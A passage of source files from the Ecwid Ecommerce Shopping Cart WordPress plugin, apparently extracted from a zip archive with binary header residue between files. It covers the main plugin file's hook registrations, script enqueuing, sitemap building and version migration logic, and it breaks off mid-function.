C20,2.04,17.96,0,15.45,0z M12.97,4.94C13.54,4.94,14,5.4,14,5.96s-0.46,1.03-1.03,1.03c-0.57,0-1.03-0.46-1.03-1.03 C11.95,5.4,12.41,4.94,12.97,4.94z M12.97,8.02c0.57,0,1.03,0.46,1.03,1.03c0,0.57-0.46,1.03-1.03,1.03c-0.57,0-1.03-0.46-1.03-1.03 C11.95,8.48,12.41,8.02,12.97,8.02z M9.98,4.94c0.57,0,1.03,0.46,1.03,1.03s-0.46,1.03-1.03,1.03c-0.57,0-1.03-0.46-1.03-1.03 C8.95,5.4,9.41,4.94,9.98,4.94z M9.98,8.02c0.57,0,1.03,0.46,1.03,1.03s-0.46,1.03-1.03,1.03c-0.57,0-1.03-0.46-1.03-1.03 C8.95,8.48,9.41,8.02,9.98,8.02z M7.03,4.94c0.57,0,1.03,0.46,1.03,1.03S7.6,6.99,7.03,6.99C6.46,6.99,6,6.53,6,5.96 C6,5.4,6.46,4.94,7.03,4.94z M7.03,8.02c0.57,0,1.03,0.46,1.03,1.03s-0.46,1.03-1.03,1.03C6.46,10.08,6,9.62,6,9.05 C6,8.48,6.46,8.02,7.03,8.02z M4.6,18.02c-1.02,0-1.86-0.83-1.86-1.86c0-1.03,0.83-1.86,1.86-1.86c1.03,0,1.86,0.83,1.86,1.86 C6.45,17.19,5.62,18.02,4.6,18.02z M15.32,18.1c-1.02,0-1.86-0.83-1.86-1.86c0-1.03,0.83-1.86,1.86-1.86c1.03,0,1.86,0.83,1.86,1.86 C17.17,17.27,16.34,18.1,15.32,18.1z M18.48,2.79l-1.92,7.14c-0.51,1.91-2.03,3.1-4,3.1H7.2c-1.91,0-3.26-1.09-3.84-2.91L1.73,5 C1.7,4.9,1.72,4.79,1.78,4.71c0.06-0.09,0.16-0.14,0.27-0.14l0.31,0c0.75,0,1.41,0.49,1.64,1.2l1.2,3.76 c0.32,1.02,1.26,1.7,2.33,1.7h4.81c1.1,0,2.08-0.74,2.36-1.81l1.55-5.78c0.2-0.75,0.89-1.28,1.67-1.28h0.24 c0.1,0,0.2,0.05,0.26,0.13C18.48,2.58,18.5,2.68,18.48,2.79z M4.6,15.5c-0.37,0-0.66,0.3-0.66,0.67c0,0.37,0.3,0.67,0.66,0.67c0.37,0,0.67-0.3,0.67-0.67 S4.96,15.5,4.6,15.5z"></path></svg> <?php echo $message; ?> </div> </div>PK������Ê—[Ǧ´Õµ��µ��0��ecwid-shopping-cart/templates/wp-toolbox.tpl.phpnu�„[µü¤��������<div class="wrap"> <div class="card"> <h2 class="title"><?php esc_html_e( 'Extensions for your Store', 'ecwid-shopping-cart' ); ?></h2> <p><?php _e( 'Take advantage of powerful apps and extensions designed to enhance your store.', 'ecwid-shopping-cart' ); ?></p> <a class="button button-primary" href="admin.php?page=<?php echo Ecwid_Admin::ADMIN_SLUG; ?>-admin-appmarket">Browse the App Market</a> <p></p> </div> </div> PK������Ê—[Dh™‡~_�~_�+��ecwid-shopping-cart/ecwid-shopping-cart.phpnu�„[µü¤��������<?php /* Plugin Name: Ecwid Ecommerce Shopping Cart Plugin URI: http://www.ecwid.com?source=wporg Description: Ecwid is a free full-featured shopping cart. It can be easily integrated with any Wordpress blog and takes less than 5 minutes to set up. Text Domain: ecwid-shopping-cart Author: Ecwid Ecommerce Version: 6.8.7 Author URI: https://ecwid.to/ecwid-site */ register_activation_hook( __FILE__, 'ecwid_store_activate' ); register_deactivation_hook( __FILE__, 'ecwid_store_deactivate' ); register_uninstall_hook( __FILE__, 'ecwid_uninstall' ); define('ECWID_API_AVAILABILITY_CHECK_TIME', 60*60*3); define ('ECWID_TRIMMED_DESCRIPTION_LENGTH', 160); define ( 'ECWID_VERSION_BUILTIN_CHAMELEON', '4.4.2.1' ); if ( ! defined( 'ECWID_PLUGIN_DIR' ) ) { define( 'ECWID_PLUGIN_DIR', plugin_dir_path( __FILE__ ) ); } if ( !defined( 'ECWID_TEMPLATES_DIR' ) ) { define ( 'ECWID_TEMPLATES_DIR', ECWID_PLUGIN_DIR . 'templates' ); } if ( ! defined( 'ECWID_PLUGIN_BASENAME' ) ) { define( 'ECWID_PLUGIN_BASENAME', plugin_basename( __FILE__ ) ); } if ( ! defined( 'ECWID_PLUGIN_URL' ) ) { define( 'ECWID_PLUGIN_URL', plugin_dir_url( __FILE__ ) ); } if ( ! defined('ECWID_SHORTCODES_DIR' ) ) { define( 'ECWID_SHORTCODES_DIR', ECWID_PLUGIN_DIR . 'includes/shortcodes' ); } // Older versions of Google XML Sitemaps plugin generate it in admin, newer in site area, so the hook should be assigned in both of them add_action( 'sm_buildmap', 'ecwid_build_google_xml_sitemap' ); add_action( 'plugins_loaded', 'ecwid_init_integrations' ); add_filter( 'plugins_loaded', 'ecwid_load_textdomain' ); if ( is_admin() ) { add_action( 'init', 'ecwid_apply_theme', 0 ); add_action( 'init', 'ecwid_maybe_remove_emoji' ); add_action( 'admin_init', 'ecwid_settings_api_init' ); add_action( 'admin_init', 'ecwid_check_version' ); add_action('wp_ajax_check_api_cache', 'ecwid_admin_check_api_cache'); add_action( 'admin_enqueue_scripts', 'ecwid_common_admin_scripts' ); add_action( 'admin_enqueue_scripts', 'ecwid_register_admin_styles' ); add_action( 'admin_enqueue_scripts', 'ecwid_register_settings_styles' ); add_action( 'admin_enqueue_scripts', 'ecwid_enqueue_cache_control' ); add_action( 'wp_ajax_ecwid_hide_vote_message', 'ecwid_hide_vote_message' ); add_action( 'wp_ajax_ecwid_hide_message', 'ecwid_ajax_hide_message' ); add_action( 'wp_ajax_save-widget', 'ecwid_ajax_save_widget' ); add_action( 'wp_ajax_ecwid_reset_categories_cache', 'ecwid_reset_categories_cache' ); add_action( 'wp_ajax_ecwid_create_store', 'ecwid_create_store' ); add_action( 'wp_ajax_ecwid_sync_products', 'ecwid_sync_products' ); add_action( 'admin_post_ecwid_sync_products', 'ecwid_sync_products' ); add_action( 'admin_post_ec_connect', 'ecwid_admin_post_connect' ); add_action( 'admin_post_ecwid_get_debug', 'ecwid_get_debug_file' ); add_action( 'admin_head', 'ecwid_ie8_fonts_inclusion' ); add_action( 'get_footer', 'ecwid_admin_get_footer' ); add_action( 'template_redirect', 'ecwid_process_oauth_params' ); add_action( 'admin_notices', 'ecwid_show_admin_messages' ); add_filter( 'plugin_action_links_' . ECWID_PLUGIN_BASENAME, 'ecwid_plugin_actions' ); add_filter( 'tiny_mce_before_init', 'ecwid_tinymce_init' ); } else { add_shortcode( 'ecwid_script', 'ecwid_script_shortcode' ); add_action( 'init', 'ecwid_backward_compatibility' ); add_action( 'init', 'ecwid_check_api_cache' ); add_action( 'template_redirect', 'ecwid_404_on_broken_escaped_fragment' ); add_action( 'template_redirect', 'ecwid_apply_theme' ); // Why not init? add_action( 'wp', 'ecwid_seo_ultimate_compatibility', 0 ); add_action( 'wp', 'ecwid_remove_default_canonical' ); add_filter( 'wp', 'ecwid_seo_compatibility_init', 0 ); add_action( 'wp_head', 'ecwid_seo_compatibility_restore', 1000 ); add_action( 'wp_head', 'ecwid_print_inline_js_config' ); add_action( 'wp_head', 'ecwid_product_browser_url_in_head' ); add_action( 'send_headers', 'ecwid_503_on_store_closed' ); add_action( 'wp_enqueue_scripts', 'ecwid_enqueue_frontend' ); add_filter( 'wp_title', 'ecwid_seo_title', 10000, 3 ); add_filter( 'document_title_parts', 'ecwid_seo_title_parts' ); add_action( 'plugins_loaded', 'ecwid_minifier_compatibility', 0 ); add_filter( 'widget_meta_poweredby', 'ecwid_add_credits' ); add_filter( 'body_class', 'ecwid_body_class' ); add_action( 'redirect_canonical', 'ecwid_redirect_canonical', 10, 2 ); $ecwid_seo_title = ''; } add_action( 'admin_bar_menu', 'add_ecwid_admin_bar_node', 1000 ); if ( get_option('ecwid_last_oauth_fail_time') > 0 ) { add_action( 'plugins_loaded', 'ecwid_test_oauth'); } require_once ECWID_PLUGIN_DIR . 'lib/ecwid_platform.php'; require_once ECWID_PLUGIN_DIR . 'lib/ecwid_api_v3.php'; require_once ECWID_PLUGIN_DIR . 'includes/themes.php'; require_once ECWID_PLUGIN_DIR . 'includes/oembed.php'; require_once ECWID_PLUGIN_DIR . 'includes/widgets.php'; require_once ECWID_PLUGIN_DIR . 'includes/shortcodes.php'; require_once ECWID_PLUGIN_DIR . 'includes/kliken.php'; require_once ECWID_PLUGIN_DIR . 'includes/class-ecwid-message-manager.php'; require_once ECWID_PLUGIN_DIR . 'includes/class-ecwid-store-editor.php'; require_once ECWID_PLUGIN_DIR . 'includes/class-ecwid-product-popup.php'; require_once ECWID_PLUGIN_DIR . 'includes/class-ecwid-oauth.php'; require_once ECWID_PLUGIN_DIR . 'includes/class-ecwid-products.php'; require_once ECWID_PLUGIN_DIR . 'includes/class-ecwid-config.php'; require_once ECWID_PLUGIN_DIR . 'includes/class-ecwid-admin.php'; require_once ECWID_PLUGIN_DIR . 'includes/class-ecwid-admin-main-page.php'; require_once ECWID_PLUGIN_DIR . 'includes/class-ecwid-static-page.php'; if ( is_admin() ) { require_once ECWID_PLUGIN_DIR . 'includes/class-ecwid-help-page.php'; require_once ECWID_PLUGIN_DIR . 'includes/class-ecwid-custom-admin-page.php'; } require_once ECWID_PLUGIN_DIR . 'includes/class-ecwid-nav-menus.php'; require_once ECWID_PLUGIN_DIR . 'includes/class-ecwid-ajax-defer-renderer.php'; require_once ECWID_PLUGIN_DIR . 'includes/class-ecwid-store-page.php'; require_once ECWID_PLUGIN_DIR . 'lib/ecwid_product.php'; require_once ECWID_PLUGIN_DIR . 'lib/ecwid_category.php'; require_once ECWID_PLUGIN_DIR . 'includes/class-ecwid-seo-links.php'; require_once ECWID_PLUGIN_DIR . 'includes/class-ecwid-html-meta.php'; require_once ECWID_PLUGIN_DIR . 'includes/class-ecwid-wp-dashboard-feed.php'; if (version_compare( phpversion(), '5.6', '>=' ) ) { require_once ECWID_PLUGIN_DIR . 'includes/importer/importer.php'; } $version = get_bloginfo('version'); if (version_compare($version, '4.0') >= 0) { require_once ECWID_PLUGIN_DIR . 'includes/class-ecwid-customizer.php'; require_once ECWID_PLUGIN_DIR . 'includes/class-ecwid-floating-minicart.php'; } if ( strpos( $version, '5.0' ) === 0 || version_compare( $version, '5.0' ) > 0 ) { require_once ECWID_PLUGIN_DIR . 'includes/gutenberg/class-ecwid-gutenberg.php'; } // Needs to be in both front-end and back-end to allow admin zone recognize the shortcode foreach (Ecwid_Shortcode_Base::get_store_shortcode_names() as $shortcode_name) { add_shortcode( $shortcode_name, 'ecwid_shortcode' ); } add_action( 'update_option_' . Ecwid_Api_V3::TOKEN_OPTION_NAME, array( 'Ecwid_Store_Page', 'set_store_url' ) ); add_action( 'update_option_' . Ecwid_Store_Page::OPTION_MAIN_STORE_PAGE_ID, array( 'Ecwid_Store_Page', 'set_store_url' ) ); add_action( 'update_option_rewrite_rules', array( 'Ecwid_Store_Page', 'set_store_url' ) ); function ecwid_init_integrations() { if ( !function_exists( 'get_plugins' ) ) { require_once ( ABSPATH . 'wp-admin/includes/plugin.php' ); } $integrations = array( 'all-in-one-seo-pack/all_in_one_seo_pack.php' => 'aiosp', 'wordpress-seo/wp-seo.php' => 'wpseo', 'wordpress-seo-premium/wp-seo-premium.php' => 'wpseo', 'divi-builder/divi-builder.php' => 'divibuilder', 'autoptimize/autoptimize.php' => 'autoptimize', 'above-the-fold-optimization/abovethefold.php' => 'above-the-fold', 'js_composer/js_composer.php' => 'wpbakery-composer', 'beaver-builder-lite-version/fl-builder.php' => 'beaver-builder', 'bb-plugin/fl-builder.php' => 'beaver-builder', 'elementor/elementor.php' => 'elementor', 'sitepress-multilingual-cms/sitepress.php' => 'wpml', 'pwa/pwa.php' => 'pwa', 'polylang/polylang.php' => 'polylang', ); $old_wordpress = version_compare( get_bloginfo( 'version' ), '5.0', '<' ); $old_php = version_compare( phpversion(), '5.4', '<' ); // that integration did not work well with older php // and it is not needed for newer wordpress since blocks are a part of its core if ( !$old_php && $old_wordpress ) { $integrations['gutenberg/gutenberg.php'] = 'gutenberg'; } foreach ( $integrations as $plugin => $class ) { if ( is_plugin_active( $plugin ) ) { require_once ECWID_PLUGIN_DIR . 'includes/integrations/class-ecwid-integration-' . $class . '.php'; } } } add_action('admin_post_ecwid_estimate_sync', 'ecwid_estimate_sync'); function ecwid_estimate_sync() { $p = new Ecwid_Products(); $result = $p->estimate_sync(); echo json_encode($result); } if (version_compare($version, '3.6') < 0) { /** * A copy of has_shortcode functionality from wordpress 3.6 * http://core.trac.wordpress.org/browser/tags/3.6/wp-includes/shortcodes.php */ if (!function_exists('shortcode_exists')) { function shortcode_exists( $tag ) { global $shortcode_tags; return array_key_exists( $tag, $shortcode_tags ); } } if (!function_exists('has_shortcode')) { function has_shortcode( $content, $tag ) { if ( false === strpos( $content, '[' ) ) { return false; } if ( shortcode_exists( $tag ) ) { preg_match_all( '/' . get_shortcode_regex() . '/s', $content, $matches, PREG_SET_ORDER ); if ( empty( $matches ) ) return false; foreach ( $matches as $shortcode ) { if ( $tag === $shortcode[2] ) { return true; } elseif ( ! empty( $shortcode[5] ) && has_shortcode( $shortcode[5], $tag ) ) { return true; } } } return false; } } } if ( is_admin() ) { $main_button_class = ""; if ( version_compare($version, '3.8-beta' ) > 0) { $main_button_class = "button-primary"; } else { $main_button_class = "pure-button pure-button-primary"; } define('ECWID_MAIN_BUTTON_CLASS', $main_button_class); } function ecwid_body_class($classes) { if ( Ecwid_Store_Page::is_store_page() ) { $classes[] = 'ecwid-shopping-cart'; } return $classes; } function ecwid_redirect_canonical($redirect_url, $requested_url) { if (!is_front_page()) { return $redirect_url; } if (strpos($requested_url, '_escaped_fragment_') === false) { return $redirect_url; } $parsed = parse_url($requested_url); $query = array(); parse_str($parsed['query'], $query); if (!array_key_exists('_escaped_fragment_', $query)) { return $redirect_url; } if (! Ecwid_Store_Page::is_store_page() ) { return $redirect_url; } return $requested_url; } function ecwid_ie8_fonts_inclusion() { if (strpos($_SERVER['HTTP_USER_AGENT'], 'MSIE 8') === false) return; $url = ECWID_PLUGIN_URL . 'fonts/ecwid-logo.eot'; echo <<<HTML <style> @font-face { font-family: 'ecwid-logo'; src:url($url); } </style> HTML; } add_action( 'wp_head', 'ecwid_maybe_remove_emoji', 0 ); function ecwid_maybe_remove_emoji() { if ( Ecwid_Store_page::is_store_page() && get_option( 'ecwid_remove_emoji' ) == 'Y' ) { remove_action('wp_head', 'print_emoji_detection_script', 7); remove_action('wp_print_styles', 'print_emoji_styles'); remove_action( 'admin_print_scripts', 'print_emoji_detection_script' ); remove_action( 'admin_print_styles', 'print_emoji_styles' ); } } add_action('wp_ajax_ecwid_get_product_info', 'ecwid_ajax_get_product_info' ); add_action('wp_ajax_nopriv_ecwid_get_product_info', 'ecwid_ajax_get_product_info' ); add_filter('redirect_canonical', 'ecwid_redirect_canonical2', 10, 3); function ecwid_redirect_canonical2($redir, $req) { global $wp_query; $adds_slash = $req . '/' == $redir; $adds_slash |= urldecode($req . '/') == urldecode($redir); if (Ecwid_Store_Page::is_store_page() && $adds_slash) { return $req; } return $redir; } add_action( 'current_screen', 'ecwid_add_deactivation_popup' ); function ecwid_add_deactivation_popup() { if ( get_current_screen()->id == 'plugins' ) { require_once ECWID_PLUGIN_DIR . 'includes/class-ecwid-popup-deactivate.php'; $popup = new Ecwid_Popup_Deactivate(); if ( !$popup->is_disabled() ) { Ecwid_Popup::add_popup( $popup ); } } } function ecwid_enqueue_frontend() { global $ecwid_current_theme; if ( $ecwid_current_theme && $ecwid_current_theme->historyjs_html4mode || get_option('ecwid_historyjs_html4mode') ) { wp_enqueue_script('ecwid-historyjs-wa', ECWID_PLUGIN_URL . 'js/historywa.js'); } if (!wp_script_is('jquery-ui-widget')) { wp_enqueue_script('jquery-ui-widget', includes_url() . 'js/jquery/ui/widget.min.js', array('jquery')); } wp_enqueue_style('ecwid-css', ECWID_PLUGIN_URL . 'css/frontend.css',array(), get_option('ecwid_plugin_version')); $current_post = get_post(); $need_tracking = !empty( $current_post ) && $current_post->post_status == 'publish' && $current_post->post_password == '' && !ecwid_is_demo_store(); wp_enqueue_script( 'ecwid-frontend-js', ECWID_PLUGIN_URL . 'js/frontend.js', array( 'jquery' ), get_option( 'ecwid_plugin_version' ) ); wp_localize_script( 'ecwid-frontend-js', 'ecwidParams', array( 'useJsApiToOpenStoreCategoriesPages' => Ecwid_Nav_Menus::should_use_js_api_for_categories_menu(), 'trackPublicPage' => $need_tracking, 'storeId' => get_ecwid_store_id() )); if ( get_post() && get_post()->post_type == Ecwid_Products::POST_TYPE_PRODUCT ) { wp_enqueue_script( 'ecwid-post-product', ECWID_PLUGIN_URL . 'js/post-product.js', array(), get_option( 'ecwid_plugin_version' ), TRUE ); $meta = get_post_meta(get_the_ID(), 'ecwid_id'); wp_localize_script( 'ecwid-post-product', 'ecwidPost', array( 'productId' => $meta[0], 'storePageUrl' => Ecwid_Store_Page::get_store_url() ) ); } if (is_active_widget(false, false, 'ecwidrecentlyviewed')) { wp_enqueue_script('ecwid-recently-viewed', ECWID_PLUGIN_URL . 'js/recently-viewed-common.js', array('jquery', 'utils'), get_option('ecwid_plugin_version'), true); wp_localize_script( 'ecwid-products-list-js', 'wp_ecwid_products_list_vars', array( 'ajax_url' => admin_url( 'admin-ajax.php' ), 'is_api_available' => ecwid_is_paid_account() ) ); } if (is_plugin_active('contact-form-7-designer/cf7-styles.php')) { wp_enqueue_script('ecwid-cf7designer', ECWID_PLUGIN_URL . 'js/cf7designer.js', array(), get_option('ecwid-plugin-version'), true); } if (current_user_can('manage_options')) { wp_enqueue_style('ecwid-fonts-css', ECWID_PLUGIN_URL . 'css/fonts.css', array(), get_option('ecwid_plugin_version')); } if ( Ecwid_Store_Page::is_store_page() && ( current_user_can( Ecwid_Admin::get_capability() ) || is_admin_bar_showing() ) ) { $is_post_edit_replace = true; if( Ecwid_Config::is_wl() && !Ecwid_Api_V3::is_available() ) { $is_post_edit_replace = false; } if( $is_post_edit_replace ) { $post_edit_url = 'https://my.ecwid.com/#'; $is_api_available = false; if( Ecwid_Config::is_wl() || Ecwid_Api_V3::is_available() ) { $post_edit_url = get_admin_url() . 'admin.php?page=ec-store&ec-store-page='; $is_api_available = true; } wp_enqueue_script( 'ecwid-admin-bar-js', ECWID_PLUGIN_URL . 'js/admin-bar.js', array( 'jquery' ), get_option( 'ecwid_plugin_version' ) ); wp_localize_script( 'ecwid-admin-bar-js', 'ecwidEditPostLinkParams', array( 'languages' => array( 'editProduct' => __('Edit Product', 'ecwid-shopping-cart'), 'editCategory' => __('Edit Category', 'ecwid-shopping-cart') ), 'url' => $post_edit_url, 'admin_url' => admin_url(), 'is_api_available' => $is_api_available )); } } } function ecwid_print_inline_js_config() { echo '<script data-cfasync="false" type="text/javascript">'; $js = <<<HTML window.ec = window.ec || Object(); window.ec.config = window.ec.config || Object(); window.ec.config.enable_canonical_urls = true; HTML; $plugins_disabling_interactive = array( 'shiftnav-pro/shiftnav.php', 'easymega/easymega.php' ); foreach ( $plugins_disabling_interactive as $plugin ) { if ( is_plugin_active( $plugin ) ) { $js = ecwid_disable_interactive( $js ); break; } } $js = apply_filters( 'ecwid_inline_js_config', $js ); echo $js; echo '</script>'; } function ecwid_disable_interactive( $js ) { return $js . "\nwindow.ec.config.interactive = false;\n"; } add_action( 'ecwid_inline_js_config', 'ecwid_add_chameleon' ); function ecwid_add_chameleon( $js ) { $colors = array(); foreach (array('foreground', 'background', 'link', 'price', 'button') as $kind) { $color = get_option( 'ecwid_chameleon_colors_' . $kind ); if ( $color ) { $colors['color-' . $kind] = $color; } } if ( !get_option( 'ecwid_use_chameleon' ) && empty( $colors ) ) { return $js; } if ( empty( $colors ) ) { $colors = 'auto'; } $colors = json_encode($colors); $font = '"auto"'; $chameleon = apply_filters( 'ecwid_chameleon_settings', array( 'colors' => $colors, 'font' => $font ) ); if ( !is_array($chameleon ) ) { $chameleon = array( 'colors' => $colors, 'font' => $font ); } if ( !isset( $chameleon['colors'] ) ) { $chameleon['colors'] = json_encode($colors); } if ( !isset( $chameleon['font'] ) ) { $chameleon['font'] = $font; } $js .= <<<JS window.ec.config.chameleon = window.ec.config.chameleon || Object(); window.ec.config.chameleon.font = $chameleon[font]; window.ec.config.chameleon.colors = $chameleon[colors]; JS; return $js; } function ecwid_load_textdomain() { load_plugin_textdomain( 'ecwid-shopping-cart', false, dirname( plugin_basename( __FILE__ ) ) . '/languages' ); } function ecwid_404_on_broken_escaped_fragment() { if ( !Ecwid_Api_V3::is_available() ) { return; } $params = array(); if (isset($_GET['_escaped_fragment_'])) { $params = ecwid_parse_escaped_fragment($_GET['_escaped_fragment_']); } elseif (Ecwid_Seo_Links::is_product_browser_url()) { $params = Ecwid_Seo_Links::maybe_extract_html_catalog_params(); } if (isset($params['mode']) && !empty($params['mode']) && isset($params['id'])) { $result = array(); $is_root_cat = $params['mode'] == 'category' && $params['id'] == 0; if ($params['mode'] == 'product') { $result = Ecwid_Product::get_by_id( $params['id'] ); } elseif (!$is_root_cat && $params['mode'] == 'category') { $result = Ecwid_Category::get_by_id( $params['id'] ); } if (!$is_root_cat && ( empty( $result ) || is_object ( $result ) && ( !isset( $result->id ) || !$result->enabled ) ) ) { status_header( 404 ); global $wp_query; $wp_query->set_404(); } } } function ecwid_503_on_store_closed() { if ( !isset( $_GET['_escaped_fragment_'] ) ) { return; } if ( ecwid_is_store_closed() ) { header( 'HTTP/1.1 503 Service Temporarily Unavailable' ); header( 'Status: 503 Service Temporarily Unavailable' ); } } function ecwid_is_store_closed() { if ( Ecwid_Api_V3::is_available() ) { $api = new Ecwid_Api_V3(); $profile = $api->get_store_profile(); if ( !$profile || !isset( $profile->settings ) ) { return false; } return @$profile->settings->closed; } return false; } function ecwid_backward_compatibility() { // Backward compatibility with 1.1.2 and earlier if (isset($_GET['ecwid_product_id']) || isset($_GET['ecwid_category_id'])) { if (isset($_GET['ecwid_product_id'])) $redirect = ecwid_get_product_url(intval($_GET['ecwid_product_id'])); elseif (isset($_GET['ecwid_category_id'])) $redirect = ecwid_get_category_url(intval($_GET['ecwid_category_id'])); wp_redirect($redirect, 301); exit(); } } function ecwid_build_sitemap($callback) { if ( !Ecwid_Api_V3::is_available() || !ecwid_is_paid_account() || !ecwid_is_store_page_available() ) return; $page_id = Ecwid_Store_Page::get_current_store_page_id(); if (get_post_status($page_id) == 'publish') { require_once ECWID_PLUGIN_DIR . 'includes/class-ecwid-sitemap-builder.php'; $sitemap = new EcwidSitemapBuilder(Ecwid_Store_Page::get_store_url(), $callback); $sitemap->generate(); } } function ecwid_build_google_xml_sitemap() { return ecwid_build_sitemap('ecwid_google_xml_sitemap_build_sitemap_callback'); } function ecwid_google_xml_sitemap_build_sitemap_callback($url, $priority, $frequency) { static $generatorObject = null; if (is_null($generatorObject)) { $generatorObject = GoogleSitemapGenerator::GetInstance(); //Please note the "&" sign! } if($generatorObject != null) { $page = new GoogleSitemapGeneratorPage($url, $priority, $frequency); $generatorObject->AddElement($page); } } function ecwid_minifier_compatibility() { if ( !function_exists( 'get_plugins' ) ) { require_once ( ABSPATH . 'wp-admin/includes/plugin.php' ); } $plugins = get_plugins(); $wp_minify_plugin = 'wp-minify/wp-minify.php'; if (array_key_exists($wp_minify_plugin, $plugins) && is_plugin_active($wp_minify_plugin)) { global $wp_minify; if (is_object($wp_minify) && array_key_exists('default_exclude', get_object_vars($wp_minify)) && is_array($wp_minify->default_exclude)) { $wp_minify->default_exclude[] = Ecwid_Config::get_scriptjs_domain() . '/script.js'; } } } function ecwid_check_version() { $plugin_data = get_plugin_data(__FILE__); $current_version = $plugin_data['Version']; $stored_version = get_option('ecwid_plugin_version', null); $migration_since_version = get_option('ecwid_plugin_migration_since_version', null); if (is_null($migration_since_version)) { update_option('ecwid_plugin_migration_since_version', $current_version); } $fresh_install = !$stored_version; $upgrade = $stored_version && version_compare($current_version, $stored_version) > 0; if ($fresh_install) { do_action('ecwid_plugin_installed', $current_version); add_option('ecwid_plugin_version', $current_version); add_option('ecwid_use_chameleon', false); // Called in Ecwid_Seo_Links->on_fresh_install do_action( 'ecwid_on_fresh_install' ); } elseif ($upgrade) { do_action('ecwid_plugin_upgraded', array( 'old' => $stored_version, 'new' => $current_version ) ); update_option('ecwid_plugin_version', $current_version); do_action( 'ecwid_on_plugin_upgrade' ); } if ($fresh_install || $upgrade || isset($_GET['ecwid_reinit'])) { add_option( Ecwid_Seo_Links::OPTION_ENABLED, false ); if (ecwid_migrations_is_original_plugin_version_older_than('4.3')) { add_option('ecwid_fetch_url_use_file_get_contents', ''); add_option('ecwid_remote_get_timeout', '5'); } add_option( 'ecwid_support_email', 'wordpress@ecwid.com' ); add_option('ecwid_enable_sso'); add_option( Ecwid_Products::OPTION_ENABLED, Ecwid_Products::is_enabled() ); add_option('ecwid_chameleon_colors_foreground', ''); add_option('ecwid_chameleon_colors_background', ''); add_option('ecwid_chameleon_colors_link', ''); add_option('ecwid_chameleon_colors_button', ''); add_option('ecwid_chameleon_colors_price', ''); add_option('ecwid_disable_pb_url', false ); add_option('ecwid_historyjs_html4mode', false); add_option(Ecwid_Widget_Floating_Shopping_Cart::OPTION_DISPLAY_POSITION, ''); // Since 5.4 delete_option('ecwid_use_new_search'); delete_option('ecwid_use_new_categories'); // /Since 5.4 // Since 5.4.2 delete_option('ecwid_hide_appearance_menu'); // Since 5.4.3 add_option( Ecwid_Widget_Floating_Shopping_Cart::OPTION_MOVE_INTO_BODY, '' ); // Since 5.7.3 delete_option( 'ecwid_use_js_api_to_open_store_pages' ); // Since 5.7.4 update_option( 'ecwid_use_js_api_to_open_store_categories_pages', Ecwid_Nav_Menus::OPTVAL_USE_JS_API_FOR_CATS_MENU_AUTO ); // Since 5.8 add_option( Ecwid_Admin::OPTION_ENABLE_AUTO_MENUS, 'auto' ); // Since 5.8 add_option( 'ecwid_print_html_catalog', 'Y' ); // Since 5.8.1+ add_option( Ecwid_Products::OPTION_SYNC_LIMIT, 20 ); // Since 6.0.x add_option( 'ecwid_hide_prefetch', 'off' ); // Since 6.1.x if ( class_exists( 'Ecwid_Floating_Minicart' ) ) { Ecwid_Floating_Minicart::create_default_options(); } add_option( 'ecwid_hide_old_minicart', ecwid_is_recent_installation() ); Ecwid_Config::load_from_ini(); // Since 6.2.x delete_option( 'force_scriptjs_render' ); // Since 6.4.x add_option( EcwidPlatform::OPTION_LOG_CACHE ); // Since 6.4.8 add_option( 'ecwid_hide_canonical', false ); // Since 6.4.9 add_option( Ecwid_Theme_Base::OPTION_LEGACY_CUSTOM_SCROLLER, false ); // Since 6.4.9+ add_option( 'ecwid_remove_emoji', 'Y' ); // Since 6.4.14+ add_option( Ecwid_Store_Page::OPTION_REPLACE_TITLE, $fresh_install ? 'Y' : '' ); do_action( 'ecwid_on_plugin_update' ); Ecwid_Store_Page::add_store_page( get_option('ecwid_store_page_id') ); Ecwid_Store_Page::add_store_page( get_option('ecwid_store_page_id_auto') ); if (Ecwid_Store_Page::get_current_store_page_id()) { delete_option('ecwid_store_page_id_auto'); } Ecwid_Api_V3::reset_api_status(); flush_rewrite_rules(); } add_option('ecwid_disable_dashboard', ''); } function ecwid_get_woocommerce_status() { $woo = EcwidPlatform::cache_get('woo_status', null); if (is_null($woo)) { $woo = 0; $all_plugins = get_plugins(); if (array_key_exists('woocommerce/woocommerce.php', $all_plugins)) { $active_plugins = get_option('active_plugins'); if (in_array('woocommerce/woocommerce.php', apply_filters('active_plugins', $active_plugins))) { $woo = 2; } else { $woo = 1; } } EcwidPlatform::cache_set('woo_status', $woo, 60 * 60 * 24); } return $woo; } function ecwid_is_recent_installation() { return get_option( 'ecwid_plugin_migration_since_version' ) == get_option('ecwid_plugin_version' ); } function ecwid_migrations_is_original_plugin_version_older_than($version) { $migration_since_version = get_option('ecwid_plugin_migration_since_version', null); return version_compare($migration_since_version, $version) < 0; } function ecwid_log_error($message) { $errors = get_option('ecwid_error_log'); if (!$errors) { $errors = array(); } else { $errors = json_decode($errors); if (!is_array($errors)) { $errors = array(); } } while (count($errors) > 10) { array_shift($errors); } $errors[] = array( 'message' => $message, 'date' => strftime('%c') ); update_option('ecwid_error_log', json_encode($errors)); } function ecwid_get_last_logged_error() { return ''; } function ecwid_override_option($name, $new_value = null) { static $overridden = array(); if (!array_key_exists($name, $overridden)) { $overridden[$name] = get_option($name); } if (!is_null($new_value)) { update_option($name, $new_value); } else { update_option($name, $overridden[$name]); } } function ecwid_tinymce_init($in) { if(!empty($in['extended_valid_elements'])) { $in['extended_valid_elements'] .= ','; } else { $in['extended_valid_elements'] = ''; } $in['extended_valid_elements'] .= '@[id|class|style|title|itemscope|itemtype|itemprop|customprop|datetime|rel],div,dl,ul,dt,dd,li,span,a|rev|charset|href|lang|tabindex|accesskey|type|name|href|target|title|class|onfocus|onblur]'; return $in; } function ecwid_seo_ultimate_compatibility() { global $seo_ultimate; if (!$seo_ultimate) return; if (!Ecwid_Store_Page::is_store_page()) return; if ( isset( $_GET['_escaped_fragment_'] ) || ( Ecwid_Seo_Links::is_enabled() && Ecwid_Seo_Links::is_product_browser_url() ) ) { remove_action('template_redirect', array($seo_ultimate->modules['titles'], 'before_header'), 0); remove_action('wp_head', array($seo_ultimate->modules['titles'], 'after_header'), 1000); remove_action('su_head', array($seo_ultimate->modules['meta-descriptions'], 'head_tag_output')); remove_action('su_head', array($seo_ultimate->modules['canonical'], 'link_rel_canonical_tag')); remove_action('su_head', array($seo_ultimate->modules['canonical'], 'http_link_rel_canonical')); } } function ecwid_remove_default_canonical() { if ( Ecwid_Store_Page::is_store_page() ) { remove_action( 'wp_head','rel_canonical'); } } function ecwid_seo_compatibility_init($title) { if ( !array_key_exists('_escaped_fragment_', $_GET) || !Ecwid_Store_Page::is_store_page() ) { return $title; } // Platinum 